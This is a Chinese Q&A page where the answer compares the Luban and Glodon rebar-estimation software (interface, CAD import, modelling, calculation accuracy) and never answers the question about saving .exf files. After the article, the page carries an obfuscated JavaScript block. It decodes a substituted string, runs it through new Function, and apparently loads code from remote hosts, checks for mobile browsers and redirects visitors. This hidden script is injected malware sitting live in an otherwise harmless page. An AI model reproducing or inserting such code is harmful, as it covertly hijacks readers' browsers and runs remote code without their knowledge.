为什么将鲁班钢筋预算版转化板筋后不能另存为exf文件?
推荐回答(1个)
神机的没有过多的了解,可以给你列举一下鲁班和广联达的。
LB钢筋与广联达钢筋预算软件之对比 (经修改)
一、软件界面
打开软件,它的图形界面取代了原来的构件法界面,当然是可以互相切换。我比较注重软件的界面,不仅软件界面给人第一印象,并且用户每天要面对它,当然希望它清新可人、雅致美观令人赏心悦目,这是人之常情,而且规划合理,布局适当的界面可以大大提高操作效率,可以达到以最少的操作完成最多任务的目的。LB的界面秉承它一贯的风格,简洁有序,没有同类软件的凌乱之感,也不象广联达为了易用性图标汉化,这不仅占用宝贵的屏幕绘图空间而且显得杂乱无章。
界面上的构件属性编辑器是个非常关键对参数输入速度产生直接影响的人机交互对话框,设计得好事半功倍,反之则事倍功半。LB的构件属性编辑器与构件列表是在一块的,广联达是分开的。构件属性引入了公有属性和私有属性概念,但字的颜色应不同。一般配筋属于公用属性,构件的几何尺寸、计算规则属于私有属性。有了公有属性概念后修改构件可以不选择所有构件而实现批量修改。同时应该有反建功构件的功能,用户不必先建立构件,可以直接建模,修改构件的名称后可以生成新的构件。这次LB软件有部分构件采用这种方法,但应该要适用所有构件。界面上的属性框内应该含有构件基本的钢筋参数,不必进去输入参数。左边构件布置栏采用的是折叠式菜单,直接按构件大类,用户寻找方便,点击率少,这与广联达的导航栏不可同日而语的,至少可以减少20%的操作而能达到同样的目的。
让我们切换到构件法界面,这个界面对LB用户来说是再熟悉不过了,恒久不变,对于计算机水平并不高的初级用户来说,以及对图形法有畏惧心理的用户可以在构件法界面中完成整个工程的钢筋计算。构件法一直是LB的强项和特色,操作简单容易上手,构件齐全,这与广联达不同,广联达的单构件法仅仅是图形法的一个补充,不能完成一个完整的工程,它充其量是一些图形法不能实现的零星构件库,种类极少,如没有剪力墙构件,没有暗柱构件。
LB钢筋是多文件模式,所以可以同时打开多个文件,这种优点是显而易见的,不同文件间对比、对帐比较方便,这与广联达的单文件模式相比是有明显优势。但既然是多文件模式,不同文件的复制粘贴应该象OFFICE一样容易。
二、CAD转化
随便导入了一个CAD文件,操作方式与LB土建算量软件相同,可以直接删除不用的CAD图,这比广联达软件先用调整工具打开CAD然后删除多余图纸然后另存为再导入再识别要优越得多。从一个目的地到另一目的地直线永远比曲线短。能走直线就不要走曲线!能一步完成的操作绝不分二步。LBCAD导图操作步骤比广联达要少,如只提取轴线就能完成轴线的转化而广联达需要提取轴线和轴线标识,就是这样有的还不一定能转化过来,转化过来的也都是辅轴。LB钢筋能转化剪力墙结构的暗柱是它的首创,通过生成暗柱边线的方式来识别暗柱。CAD梁转化时能识别梁吊筋,也能识别基础。LB钢筋软件转化时无需选择相同图层的图元或相同颜色的图层,这点要比广联达好。识别板筋和板负筋也无需先画好板,可以直接识别。但自动识别梁时有的梁不能识别。弧形构件也不能识别。
三、建模
建模时轴线是必不可少的,轴线是所有构件的定位系统。LB的轴线系统与它的土建软件完全相同,比广联达优越处是能动态显示轴线总长。有轴网旋转角度的输入框。但轴线的延伸修剪功能暂缺。LB建模操作与广联达最大的不同之处有以下几点:一是自由画功能或者称自由捕捉功能,有时投标时间紧不允许精雕细刻,那么这时自由画更能发挥它的好处,由于国内自主图形平台不是很完美,有的地方捕捉不到那么自由捕捉就有用武之地了,软件应该具有更大的自由度。二是跨图层操作的功能,用户无需在各种不同的构件之间切换,在操作梁时可以直接对柱或其它构件的操作修改。三是夹点的功能,这与ACAD类似,广联达没有这种概念和元素;四相对坐标的的概念,坐标可以旋转任意角度;五是智能捕捉的功能,鼠标移到到需要捕捉的会自动捕捉到。但与ACAD相比差距还很大,一是捕捉点少,二是智能度低。任重道远啊。
轴网锁定的功能很好,不管风吹浪打它岿然不动。
楼层复制功能,广联达一次只能复制一个楼层,LB可以同时复制到多个楼层。但广联达有个“复制选定构件到其它楼层”功能,它可以一次性复制到多个楼层,LB如果能增加个“复制选定构件到其它楼层”功能也可以锦上添花,有时用户忘了画某个构件或要修改某个构件,不必进入楼层复制,可以用“复制选定构件到其它楼层”功能。
线性构件建模时增加一矩形布置能一定程度上提高工作效率。线性构件“点加绘置”这个功能比广联达更强些,通过输入两种尺寸一次性完成一段线性构件的绘制。但应该寻求更高效的绘图方式,如对象追踪功能和动态输入的功能,用户只要输入长度就可以了。广联达画直线和画折线分开是完全没有必要的,可以合在一起。LB的斜墙一般用山墙来处理,提供墙起点高度和终点高度的输入修改对话框。墙不能反建构件。墙应该提供智能布置功能,轴网变墙属于智能布置但不够,还可以根据梁或条基生成墙。LB建模时提供操作提示和引导绘图状态栏增加软件的易用性,但希望能作出更多的有助于用户操作的提示。墙洞属性栏有洞口加筋参数供输入这比广联达更好些。柱的布置方法广联达有8种之多(按轴线、墙、梁、独基、承台、桩、墙位置绘制、适应布置等,柱的编辑修改方法更是多达16种(柱的删除、复制、镜像、移动、放置、块删除、块复制、块镜像、块移动、块旋转、块存盘、块提取、柱靠墙边、柱靠梁边和自动判断边角柱等)。柱的属性栏应该有柱的示意图供用户修改它的断面尺寸和偏心距。所有构件都应支持其它钢筋或其它箍筋的输入。如地下室往往有加筋,如果提供了其它钢筋的输入栏用户就可以直接处理了。LB梁批量识别支座的功能比起一根根梁识别支座效率有大幅度的提高,广联达用“应用到其它同名称梁”可以殊途同归,但不同名称梁呢?LB略胜一筹。但广联达能自动识别次梁根数和次梁加筋也是LB所没有的。LB的梁表格法我当时是极力推荐的功能,因为表格法的效率比原位标注要快一倍,虽然有点抽象不容易掌握但任何初级用户通过不断的实践也会变成高级用户的,也会对原位标注不满足的,也会使用一些高级技巧的。梁的表格法一定要有批量输入列数据和删除列数据的功能,否则效率也不高的。如果支座两边的钢筋相同只要输入左上部筋或右上部筋中的一个,但LB如只输入一个后另一个取集中标注中贯通筋,这是不对的必须改过来,否则用户又要多花冤枉时间既要输入左支座钢筋又要输入相同的右支座钢筋,完全是多此一举。LB的梁表格与广联达有所区别,跨长与支座尺寸栏后置,基本上不用拖拉下面的滚动条就可完成梁原位标注钢筋的输入。跨长与支座尺寸是只读的不可修改的,最好能放开,除非梁能识别任何支座,广联达钢筋梁是不能识别圈梁和构造柱为支座的,所以我一般通过直接输入支座尺寸。梁图元用虚线表示可能更美观些,与图纸接近些。两个软件都能处理多折梁的合并计算,广联达GGJ10-1070比较稳定些,符合折梁构造要求,LB折梁合并后计算按直梁计算,这也是个BUG。
板与板筋两家软件都做得可以,LB有后来居上之势,首先板能自由画,容错性较好,板即使有一点重合也能布。广联达软件几乎没有容错性,稍微有一点重合不能布板,稍微有一丝孔隙不能合并,也不能自由布置,非常死板。LB这个新版本增加了用户期待已久的坡屋面功能,起步比广联达慢但起点高,有所超越有所创新。坡屋面能形成轮廓线,能形成夹点,能自动形成单坡屋面,双坡屋面和多坡屋面。LB板钢筋的智能布置是个非常爽的功能,特别是支座负筋一键生成,无需一根根布置,这与早期的PKPM钢筋有点类似,这种模式效率最高,用户所做的是对照图纸修改负筋的参数而已!这是广联达所欠缺的。这再一次证明捷足者可以先登,后来者可以居上的道理。应增加板带和基础板带功能,跨中板带能贵所柱上板带自动生成,这点广联达先做到了。
砌体结构钢筋还是个空白,砖混结构在上海北京等大城市极少见,欠发达地区极普遍,为照顾大多数还是应该加上。
LB增加了一些重要的基础构件如筏基,但从基础类型看显然没有做全,如缺少条基、承台等构件。这次最大的亮点是集水井与筏基的之间的关联计算,能比较正确地计算筏板与集水井之间的扣减关系,众所周知,基础钢筋重量占工程总重量的比例很大,有的甚至超过上部结构的重量,而基础筏板占基础重量的比例也非常高,如果处理不好筏板与集水井之间的关系,钢筋软件的计算结果的准确性、可信度将大打折扣,甚至使用户从根本上失去对软件的信任感,软件的可信赖计算就成了一句空话,软件也失去了作为精确度量衡工具的作用。广联达的集水井就是一个没有坡度的洞口,与筏板的关联度很低,也不能实现精确的扣减,并且集水井还需要到单构件法中去输入计算。LB这次的集水井可以用图形法计算,不必进入构件法去处理。筏板的底筋伸入集水井边线一个锚固或一个设定的值,筏板面筋遇集水井自动弯折进入集水井底板内一个锚固或一个设定的值。LB的筏板能自动形成,并同时弹出一个对话框要求用户输入筏板偏移的距离,这就是比较人性化的设计,可以用一步走的就不必分二步操作。广联达不能智能形成筏板,只能形成最小筏板但又不能合并筏板,那么筏板岂不变得支离破碎?但广联达有个画线分割筏板和画线分割板的功能LB可以借鉴,这是个极为有用的功能,可以先智能形成板或筏板然后根据实际情况进行分割。
四、构件法
构件法是最富有LB特色的,也是最易用的,这是广联达所望尘莫及的。构件法目前需要解决些什么?首先构件图库与工程设置中的计算设置、楼层设置相关联,也就是说工程设置不仅能应用于图形法而且能应用到构件法中去,这样可以大幅度地提高软件翻样的效率。第二构件法恢复经典版本8.2中一些好的功能,如构件文件夹之间任意分类合并等功能,增加软件的自由度。第三适当增加一些厂房、人防结构、市政方面的构件做法,使软件具有更大、更广的适用性,这些特种构件用图形法处理反而要慢,构件法是首选的解决方案。第四增加构件图库自动切换功能,如墙基础插筋图复制到上面楼层后构件自动切换成中间层的形式,中间层复制到顶层后自动切换成顶层形式,反之亦然。第五同类构件间公用数据的批量集中修改替换功能。第六增加一些虽然不常用但也用得到的单根钢筋形式。
五、计算的准确性
LB钢筋可以分构件汇总计算,广联达只有分楼层汇总功能,在计算时不管是否需要把每种构件都要算一遍。有时我们对帐对完一种构件需要重新计算一下如果没有选择地每种构件都计算一遍不仅毫无必要而且也是浪费时间,当然广联达计算速度快不在乎这点时间,这对于小工程可能是这样但对于大工程,如一个车库3万平米,就会感到难以容忍了。也许广联达要说图形法构件之间都有关联,不可能独立计算,这种似是而非的说法现在也不攻自破,LB就是可以分构件计算。所以说尽管LB目前可能与广联达有一些微小的差距但有许多方面已远远超越了广联达。最后完全超越广联达也是时间问题。广联达的板负筋计算有许多是错误的,特别是剪力墙结构当连梁用画线方式时,负筋不考虑连梁宽度,即使是同样宽度的支座宽度,负筋计算出来的长度也不同,当然各种构件的保护层厚度是不同的,但实际情况是同一跨的板负筋不可能做成多种长度,显得参差不齐。这点LB计算符合实际。钢筋软件的开发不能一味地死抱规范和图集,不能犯教条主义的错误,一定要把规范、图集、理论与实际工程相结合,正如中国革命的胜利也是把马列主义同中国的实际相结合产生的结果。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();